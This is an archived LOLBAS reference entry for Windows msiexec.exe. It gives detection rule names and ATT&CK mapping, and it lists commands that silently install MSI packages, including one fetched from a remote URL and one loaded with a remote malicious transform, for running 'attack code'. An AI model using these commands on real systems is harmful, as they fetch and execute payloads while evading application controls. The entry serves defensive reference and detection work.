Msiexec on LOLBAS

Archived: 2026-04-05 20:31:03 UTC

.. /Msiexec.exe

Used by Windows to execute msi files

Paths:

- C:\Windows\System32\msiexec.exe
- C:\Windows\SysWOW64\msiexec.exe

Resources:

- https://pentestlab.blog/2017/06/16/applocker-bypass-msiexec/
- https://twitter.com/PhilipTsukerman/status/992021361106268161
- https://badoption.eu/blog/2023/10/03/MSIFortune.html

Acknowledgements:

- netbiosX (@netbiosX)
- Philip Tsukerman (@PhilipTsukerman)

Detections:

- Sigma: proc_creation_win_msiexec_web_install.yml
- Sigma: proc_creation_win_msiexec_masquerading.yml
- Elastic: defense_evasion_network_connection_from_windows_binary.toml
- Splunk: uninstall_app_using_msiexec.yml
- IOC: msiexec.exe retrieving files from Internet

Execute

1. Installs the target .MSI file silently.

   ```
   msiexec /quiet /i file.msi
   ```

   Use case

   Execute custom made msi file with attack code

   Privileges required

   User

Operating systems

Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique

T1218.007: Msiexec

Tags

Execute: MSI

2. Installs the target remote & renamed .MSI file silently.

```
msiexec /q /i https://www.example.org/file.ext
```

Use case

Execute custom made msi file with attack code from remote server

Privileges required

User

Operating systems

Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique

T1218.007: Msiexec

Tags

Execute: MSI

Execute: Remote

3. Calls DllRegisterServer to register the target DLL.

```
msiexec /y C:\Windows\Temp\file.dll
```

Use case

Execute dll files

Privileges required

User

Operating systems

Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique

T1218.007: Msiexec

Tags

Execute: DLL

Execute: Remote

4. Calls DllUnregisterServer to un-register the target DLL.

```
msiexec /z C:\Windows\Temp\file.dll
```

Use case

Execute dll files

Privileges required

User

Operating systems

Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique

T1218.007: Msiexec

Tags

Execute: DLL

Execute: Remote

5. Installs the target .MSI file from a remote URL, the file can be signed by vendor. Additional to the file a transformation file will be used, which can contains malicious code or binaries. The /qb will skip user input.

```
msiexec /i C:\Windows\Temp\file.msi TRANSFORMS="https://www.example.org/file.mst" /qb
```

Use case

Install trusted and signed msi file, with additional attack code as transformation file, from a remote server

Privileges required

User

Operating systems

Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique

T1218.007: Msiexec

Tags

Execute: MSI

Execute: MST

Execute: Remote

Source: https://lolbas-project.github.io/lolbas/Binaries/Msiexec/